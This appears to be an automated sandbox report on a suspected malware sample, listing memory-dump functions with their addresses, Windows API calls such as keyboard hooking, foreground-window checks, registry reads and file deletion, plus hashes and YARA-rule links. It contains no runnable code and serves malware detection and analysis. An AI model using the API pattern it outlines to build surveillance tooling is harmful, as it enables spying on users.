Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 897366848cf6f33b47b4d5ac8a2be5f62b974f06ec070eb8d023673363cc3ec1
Instruction ID: 985daa4226092aad70cf0860ac659a82ce9464aa1474df1eec8bddb5a40ec1c4
Opcode Fuzzy Hash: 897366848cf6f33b47b4d5ac8a2be5f62b974f06ec070eb8d023673363cc3ec1
Instruction Fuzzy Hash: 4D815A70A04318CFCBA5DF64D95469DB7BABF85304F0185EAD60AA7211DB31AE82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7C0B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: c6d281c5050156121aaaad8eb5fb47176d99f925d719f55f9440c67600d4c036
Instruction ID: 80d9bd58b589bf23033cfb81fb45450755f7c07c5cdf82c2a2204e4a16d2555b
Opcode Fuzzy Hash: c6d281c5050156121aaaad8eb5fb47176d99f925d719f55f9440c67600d4c036
Instruction Fuzzy Hash: 15715C70A04318CFCBA5DF64D95479DB7BABF85304F0185EAD50AA7251DB316E82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00612250, Relevance: 3.9, Strings: 3, Instructions: 138COMMON

Download Yara Rule

Strings

HVl, xrefs: 006122C7
p:Vl, xrefs: 00612352
p:Vl, xrefs: 00612346

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: p:Vl$p:Vl$HVl
API String ID: 0-3091094539
Opcode ID: 2dd13273dc87338da702f54bdf2cb1391692b5a5378d042472c8434d63e07284
Instruction ID: 5d5c562676ed4282c9dbffa2940fd9fed61e78de0961ceab91b3766f9b0b566b
Opcode Fuzzy Hash: 2dd13273dc87338da702f54bdf2cb1391692b5a5378d042472c8434d63e07284
Instruction Fuzzy Hash: C541D230B001068BDB189B78D8647EE77E7ABC8344F18847AD616DB794DE34DC9287A1

Uniqueness

Uniqueness Score: -1.00%

Function 00612900, Relevance: 3.9, Strings: 3, Instructions: 119COMMON

Download Yara Rule

Strings

p:Vl, xrefs: 006129D0
p:Vl, xrefs: 006129C4
HVl, xrefs: 00612938

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: p:Vl$p:Vl$HVl
API String ID: 0-3091094539
Opcode ID: de19eb701b7ab3d335d7d78af607385b9e3d3dfa9365fc45a0c9639dc6fd500e
Instruction ID: d83e1162fdd3783c017e4e793c98df9b261c48bf6fc2a2bc5b8f5e40d47d87ac
Opcode Fuzzy Hash: de19eb701b7ab3d335d7d78af607385b9e3d3dfa9365fc45a0c9639dc6fd500e
Instruction Fuzzy Hash: 3E410630B001068FDB18AB79D9606EF76E3AF89344B158879D506EB765DF30DCA28BD1

Uniqueness

Uniqueness Score: -1.00%

Function 023F7C66, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 0045f7b1ecd6dceef75e269e2c4d023c4d53e1b96a5f28edcad7f9327f27942c
Instruction ID: 74b17e1dd1c6ee976c7b04fc1bc1c9c073708a221a357888fe158687e2793022
Opcode Fuzzy Hash: 0045f7b1ecd6dceef75e269e2c4d023c4d53e1b96a5f28edcad7f9327f27942c
Instruction Fuzzy Hash: 0D615C70A04218CFCBA5DF74D95479DB7BABF85305F0145EAD60AAB211EB31AE82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7CAB, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 5813c83c095c68e6a5558f2497811182e01f9dea7925b13cbcf74f7554910efe
Instruction ID: 7aa473c93cfdf1ba73ef996384a9825b8ab078dbc9a34f858dc8167774111665
Opcode Fuzzy Hash: 5813c83c095c68e6a5558f2497811182e01f9dea7925b13cbcf74f7554910efe
Instruction Fuzzy Hash: D9616C70A04214CFCBA5DF64D95479DB7B6BF89305F0145EAD60AAB211EB31AE82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7CF3, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 7fbe70d922b5f946ceb5a6ae0d7f593096b519b4632c4ee394349350a86cea84
Instruction ID: fbe811905d2296e0eaeebf40f18a940b371faf38a5d46e6971d886c1b38c74b7
Opcode Fuzzy Hash: 7fbe70d922b5f946ceb5a6ae0d7f593096b519b4632c4ee394349350a86cea84
Instruction Fuzzy Hash: 2F516B70A04318CFCBA5DB64D954799B6B6BF85304F0185EAD60EAB251EB31AE82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7D3B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: dcf6bef8cd2b094ccc5d6a2bb7c728ec3057106c260407cabceb0df187cf4fa7
Instruction ID: 50ff308b473d5b8b04c5681c0380c812e7ad9d8bca37521c946ed68bffd9045c
Opcode Fuzzy Hash: dcf6bef8cd2b094ccc5d6a2bb7c728ec3057106c260407cabceb0df187cf4fa7
Instruction Fuzzy Hash: 1E516B70A04318CFCBA9DF64D95479DB6B6BF85304F0185EAD60EAB251EB319E82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7D83, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 01926f8a72cf96b2f82ebaa6f6f6aa1dccea3ed653838008501690be9b93a7da
Instruction ID: a8f16c8deceb16b77d88f826f9b42b35e40235614edec35ee50150b4bee8864f
Opcode Fuzzy Hash: 01926f8a72cf96b2f82ebaa6f6f6aa1dccea3ed653838008501690be9b93a7da
Instruction Fuzzy Hash: B3516E70A04318CFCBA9DF64D95479DB6B6BF85304F0145EAD60EAB211EB309E82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7DCB, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: c98a1132969ff25ebf31680282d57206ad4ea91d75133dd71d520f072e72956b
Instruction ID: dec21c512de7eb0e466bd59f425b4607054b5d2124d9111312b9e5fb04b7e633
Opcode Fuzzy Hash: c98a1132969ff25ebf31680282d57206ad4ea91d75133dd71d520f072e72956b
Instruction Fuzzy Hash: BD516C70A14318CFCBA9DB64E95479DB6B6BF85304F0145EAC60EAB211EB309E82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7EA0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 390c27651ae27408dac119a563ed80185573ff3ea51006a372c7ab12a4cfead7
Instruction ID: 14b35db861988907f96eae3900537ae0c40ba37384bf54058c24670a3a53cd45
Opcode Fuzzy Hash: 390c27651ae27408dac119a563ed80185573ff3ea51006a372c7ab12a4cfead7
Instruction Fuzzy Hash: A8416D70E14218CFCBA9DB64E95479DB6B7BB85304F0145EAC60EAB251EB319E818F41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7EE8, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: b4089719d2dada4ae0f48b6760394327aa85f2b5a73b066f1cdddc81424e6f68
Instruction ID: 17b322570c173c018ed1fba43b70f3d411b4bd321db50ad105bd1c42bab31f28
Opcode Fuzzy Hash: b4089719d2dada4ae0f48b6760394327aa85f2b5a73b066f1cdddc81424e6f68
Instruction Fuzzy Hash: B9415E70E143188FCBA8DB64E95479DB6B7BB85305F0185EAD60E9B251DB309E818F41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7F30, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 3b4259ff7a88b6d7a63c3a026e933c40c8916099faec9714e43e21ca358e7dfc
Instruction ID: e7bce0e19d0c8023d6200e9eabc439dc6459c0a87079558fcb8f4762245bc64a
Opcode Fuzzy Hash: 3b4259ff7a88b6d7a63c3a026e933c40c8916099faec9714e43e21ca358e7dfc
Instruction Fuzzy Hash: 3C415C70E143188FCBA8DB64E95479DB6B7BF85305F0145EAD60EAB251EB309E82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7E13, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 6f761cb2256c701f6bcf101d370a327399ecd5a1153a4a7c555af270072641d0
Instruction ID: 51106ebd17fe4c696afc34f085d9e634f319ebbf1488825ef6efa21335ce0771
Opcode Fuzzy Hash: 6f761cb2256c701f6bcf101d370a327399ecd5a1153a4a7c555af270072641d0
Instruction Fuzzy Hash: 6A414D70E15218CFCBA8DF24E95479DB6B7BB85304F0185EAC60EAB251EB319E81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7F78, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: )CG
API String ID: 0-2013215553
Opcode ID: c1ddb44f390a2e8e605bca0c60dfa2b29a5f7fbed9a3741773d91a794f7cca02
Instruction ID: 32264e80444f2842293b11754b6bba54e43a42ff8d40eecf14ca83223bc39729
Opcode Fuzzy Hash: c1ddb44f390a2e8e605bca0c60dfa2b29a5f7fbed9a3741773d91a794f7cca02
Instruction Fuzzy Hash: 53414E70A152148FCBA8DF24E954799B6B7BB85304F0185EAC60EAB251EB309E818F41

Uniqueness

Uniqueness Score: -1.00%

Function 0061F8F8, Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

444, xrefs: 0061F94C
,,,, xrefs: 0061F9D8

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: ,,,$444
API String ID: 0-1607260593
Opcode ID: 8701e2612ac26f9e23572f2a046ecd8ce83f23ca74a97cab708bb93a89d3fd6c
Instruction ID: 7512b88090c77b3c3f6b8ca5c0b19ce3a1df95f6072bd936ed5fa008aa7790d2
Opcode Fuzzy Hash: 8701e2612ac26f9e23572f2a046ecd8ce83f23ca74a97cab708bb93a89d3fd6c
Instruction Fuzzy Hash: 8A51C830F101045B8B98EBB8E9A06AE77E7EFC8354B548539D60ED73A4EF349C024B95

Uniqueness

Uniqueness Score: -1.00%

Function 006139F0, Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

`+:S, xrefs: 00614909
`+:S, xrefs: 0061489B

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: `+:S$`+:S
API String ID: 0-1959486142
Opcode ID: af8f652052bdd23f8aa60cc73f972719a58af32c0e6742f5e5029248121be07f
Instruction ID: a2aa6d49bfad6977160e478781a2b5d725e89c7485f4963ec20117656f3deedb
Opcode Fuzzy Hash: af8f652052bdd23f8aa60cc73f972719a58af32c0e6742f5e5029248121be07f
Instruction Fuzzy Hash: FC513B70E042588BDB58DF69D850BDEB7B7FB85304F1885AAD109AB354DF709E818F41

Uniqueness

Uniqueness Score: -1.00%

Function 0061DAB8, Relevance: 2.6, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

FFFFFFFFFF6.), xrefs: 0061DAFE
>>>EEEE0, xrefs: 0061DB1A

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: >>>EEEE0$FFFFFFFFFF6.)
API String ID: 0-3050788910
Opcode ID: d350441bd753bacb453fa79d9d5358e9d61dc1b7eddf24062fc261023d356a2d
Instruction ID: 9e1fa0b812e0f1d313ae0e2d3a7428aabe94dbe784975defd294defb0859dfb8
Opcode Fuzzy Hash: d350441bd753bacb453fa79d9d5358e9d61dc1b7eddf24062fc261023d356a2d
Instruction Fuzzy Hash: 4621FB70F041149BDB48ABB8E8647AD76E3AB88354F154639F506EB3D4EF349C428B94

Uniqueness

Uniqueness Score: -1.00%

Function 00616050, Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

ccbccbccbbbbbbbbbbbbbbbbbbbbbbbbb, xrefs: 006160E1
""""""2"""3_________0000002`a`a`33___))"33, xrefs: 0061609F

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: """"""2"""3_________0000002`a`a`33___))"33$ccbccbccbbbbbbbbbbbbbbbbbbbbbbbbb
API String ID: 0-3775160193
Opcode ID: ddbd7389b7716951b1587ad0760bcf7b357b4eeff41bf3b2c0491e426f7d0786
Instruction ID: 674c25b0e7921ed5f74653244ece018711f82b03ed352c763e7a8d9c79a2a075
Opcode Fuzzy Hash: ddbd7389b7716951b1587ad0760bcf7b357b4eeff41bf3b2c0491e426f7d0786
Instruction Fuzzy Hash: 32119031F041198F8B84EBBDD851AEE77F2EF88310B148479E109DB356EA349D46CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00616060, Relevance: 2.6, Strings: 2, Instructions: 54COMMON

Download Yara Rule

Strings

ccbccbccbbbbbbbbbbbbbbbbbbbbbbbbb, xrefs: 006160E1
""""""2"""3_________0000002`a`a`33___))"33, xrefs: 0061609F

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: """"""2"""3_________0000002`a`a`33___))"33$ccbccbccbbbbbbbbbbbbbbbbbbbbbbbbb
API String ID: 0-3775160193
Opcode ID: 6ee6f963a4cd20288c7f46e2b4df8385bc7d0b60d411fbe79d495b50ef986316
Instruction ID: 2fab62efb0d3f69e8bd81a8a5b097201cf7824e8104691bf6f4e7e877a5d02eb
Opcode Fuzzy Hash: 6ee6f963a4cd20288c7f46e2b4df8385bc7d0b60d411fbe79d495b50ef986316
Instruction Fuzzy Hash: 8F112E31F101198F8B84EBBDD851ADEB7F6AF8C310B148439E109D7355EA349D468BD4

Uniqueness

Uniqueness Score: -1.00%

Function 006029C7, Relevance: 1.7, APIs: 1, Instructions: 216COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 00602973

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: c66c83bd409640a80f44dda062de6c29d7ae4de1ef48c9446720ee1c785ae372
Instruction ID: cad39b8dccfa338fe562b29a97ad40c6dd229a0faa7159db9b26f6b57861b4fd
Opcode Fuzzy Hash: c66c83bd409640a80f44dda062de6c29d7ae4de1ef48c9446720ee1c785ae372
Instruction Fuzzy Hash: 3E81D631E00716CBDB69CF69C8142DEB7B2FF94304F218A1AD85977381D771AA81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00604E70, Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExA.KERNEL32(?,?,?,?), ref: 00604F71

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 2e6aba2797e8b537b85bb3ecd0598a646ec31037b428255aeb06a11b4cb4b75e
Instruction ID: 5b0d6f5957f45ce6887550462a4231c2e28b3ead9775d7155e21dbdbe80ad6fb
Opcode Fuzzy Hash: 2e6aba2797e8b537b85bb3ecd0598a646ec31037b428255aeb06a11b4cb4b75e
Instruction Fuzzy Hash: 654148B0D002599FDB18CFA9C894BDEBBB2BF88314F148419E919AB380DB749845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00600CC0, Relevance: 1.6, APIs: 1, Instructions: 85registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 00600D79

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 15eb4e8a0bb7771d8580b393bd3c38cd31164808cc6bb0160bb5a93540a667a2
Instruction ID: 05c8edecba947693adce7dbd15eb95379ed7c95f218160dcc678f3e979aab543
Opcode Fuzzy Hash: 15eb4e8a0bb7771d8580b393bd3c38cd31164808cc6bb0160bb5a93540a667a2
Instruction Fuzzy Hash: 7431C1B1D002589BDB14CFD9C484ADEFBB6AF48710F55841AE818AB350D774A905CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00600A90, Relevance: 1.6, APIs: 1, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000000,?,00000001,?), ref: 00600B44

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 2dc74e65b9173aa7dc04273f2b26e6de88d71c2f234b0f61aa9277ccc5e6ba36
Instruction ID: 69a7f9f918c3e7f9ffe097e474c9705d26798c462683012a315d6d75d6fede30
Opcode Fuzzy Hash: 2dc74e65b9173aa7dc04273f2b26e6de88d71c2f234b0f61aa9277ccc5e6ba36
Instruction Fuzzy Hash: B031F0B4D002499FDB14CF99C588B8EFFF6BF49304F24856AE808AB341C7759985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00604DA0, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000000,?,?), ref: 00604E26

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 8a6a4238cd924f8b544f62a99b0d022e33130e42766d5150350509f5dd63dd9d
Instruction ID: 72fe64a245f5f8134aedb07074fd5e3a95856d0ff062691adeab95099881e279
Opcode Fuzzy Hash: 8a6a4238cd924f8b544f62a99b0d022e33130e42766d5150350509f5dd63dd9d
Instruction Fuzzy Hash: 2D2104B1D01619AFCB10CF99D885BDEFBB4FB49310F50852AE918B7340D774A954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 023F5D81, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 023F5DF8

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: d98398b8fa25b45674fc2898a407008d813f66d628318e9116cc1bb843070961
Instruction ID: ba0a39b1e26c82661c2003de602c94dd641348677f1e965c6739cfbef71ccfe3
Opcode Fuzzy Hash: d98398b8fa25b45674fc2898a407008d813f66d628318e9116cc1bb843070961
Instruction Fuzzy Hash: E12135B5C006599FCB10CFA9D444BEEFBB4EF49220F15856AD858B7640D338A905CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 006028F8, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 00602973

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: eff9c053278b8d3b24592cc8d7a504bf4f4b686a785ecaadef328127d41b7975
Instruction ID: 11fe06cf58b874502df38e5715026c67a009ea718f148ab39f42e89328f1f2fc
Opcode Fuzzy Hash: eff9c053278b8d3b24592cc8d7a504bf4f4b686a785ecaadef328127d41b7975
Instruction Fuzzy Hash: F221E2B59002099FDB14CFAAD848BEFFBF5EB89314F14882AD459A7350C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 023F5D88, Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 023F5DF8

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 2d15aea889b911260c02c3a883b411e719948e63af5b75785d900ccc87883c14
Instruction ID: a9796562a246f2ea23ca31bdf5d91caa84296cae7a16a6ab392f47cbc5f7e454
Opcode Fuzzy Hash: 2d15aea889b911260c02c3a883b411e719948e63af5b75785d900ccc87883c14
Instruction Fuzzy Hash: 691136B6C0061A9BCB14CF9AD4447EEFBF4EF49224F14852AD818B7340D338AA40CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00604349, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 006043AC

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ac0d6e62097f3bb3397ac4154fd9df32696b38b8ff01db2a78e630b0ebef9cbe
Instruction ID: 262d719f4348e4cf4a3cd20ff52823278236050d7e03cf9914e726536f4b9eae
Opcode Fuzzy Hash: ac0d6e62097f3bb3397ac4154fd9df32696b38b8ff01db2a78e630b0ebef9cbe
Instruction Fuzzy Hash: 2C1100B49002098FCB20CF9AD888BDFFBF4EB49314F20885AD518A7350C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00604350, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 006043AC

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: f749e8e6638b6ced173acd45201a1fba695a90b77556e66bcc8dcb6a49fbbfee
Instruction ID: 12180dd6261ff7904cd6c9c2ee745c627426e87e6a8a0e0cde0a7fac303b3c93
Opcode Fuzzy Hash: f749e8e6638b6ced173acd45201a1fba695a90b77556e66bcc8dcb6a49fbbfee
Instruction Fuzzy Hash: FD11EEB59006098FCB20CF9AD888BDFFBF4EB49324F20885AD559A7340C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00615528, Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

33___))"33, xrefs: 00615572

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: 33___))"33
API String ID: 0-2988987429
Opcode ID: 4af657655ae68d20debe7d48e5db1c411e3072474720081ce00c3d1c348186e6
Instruction ID: e3708acd8812b4a5772fc6e382a29f55cb216610d5be17171dec141b39ff58bf
Opcode Fuzzy Hash: 4af657655ae68d20debe7d48e5db1c411e3072474720081ce00c3d1c348186e6
Instruction Fuzzy Hash: 0D310430B04204CB8B448BB899506EEB6E7AFC9365B29807AC507EB361DE35DC068BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00615530, Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

33___))"33, xrefs: 00615572

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: 33___))"33
API String ID: 0-2988987429
Opcode ID: c3e86e5e804d7f9bc8bb5f2b4be47f31dd3130357ac503ab1cdccfdcd261a1ed
Instruction ID: 9c25ee6c378354ea9d17a6707e37d216ec0deae3193871d05095462524cfaced
Opcode Fuzzy Hash: c3e86e5e804d7f9bc8bb5f2b4be47f31dd3130357ac503ab1cdccfdcd261a1ed
Instruction Fuzzy Hash: AB312530B142048B8B449BB899506DEB6E7AFC8365B294436C607EB361DE35DC014BD1

Uniqueness

Uniqueness Score: -1.00%

Function 006157F3, Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

YYYYZ[\""RYYYYYYYYYYZ[\"", xrefs: 006158EB

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: YYYYZ[\""RYYYYYYYYYYZ[\""
API String ID: 0-2034523404
Opcode ID: 6aa84d8372e60c74426a57f227012d4cc970d36598d96d4be1f4dec4bdb76d4c
Instruction ID: be3137505173869fc44805150157673eb75444f350a5434a3270da8daf32022a
Opcode Fuzzy Hash: 6aa84d8372e60c74426a57f227012d4cc970d36598d96d4be1f4dec4bdb76d4c
Instruction Fuzzy Hash: 81217830E092819FC7458BB4D950ADA7FB7DFC3250B1980AED102DB3A7DE649C0687E1

Uniqueness

Uniqueness Score: -1.00%

Function 00615888, Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

YYYYZ[\""RYYYYYYYYYYZ[\"", xrefs: 006158EB

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID: YYYYZ[\""RYYYYYYYYYYZ[\""
API String ID: 0-2034523404
Opcode ID: f995b873886f11afd608fed83bb4a98988a04612729b668b16dd8b79a826670c
Instruction ID: 01006f680de9050a750e80a40bff47a3571464f6ae96ebc8c2a30b407d4efd37
Opcode Fuzzy Hash: f995b873886f11afd608fed83bb4a98988a04612729b668b16dd8b79a826670c
Instruction Fuzzy Hash: 84113E30F142444BE7499B78A440BEE6BA78BC5390F05806EE606DB3A5EE289C028BD1

Uniqueness

Uniqueness Score: -1.00%

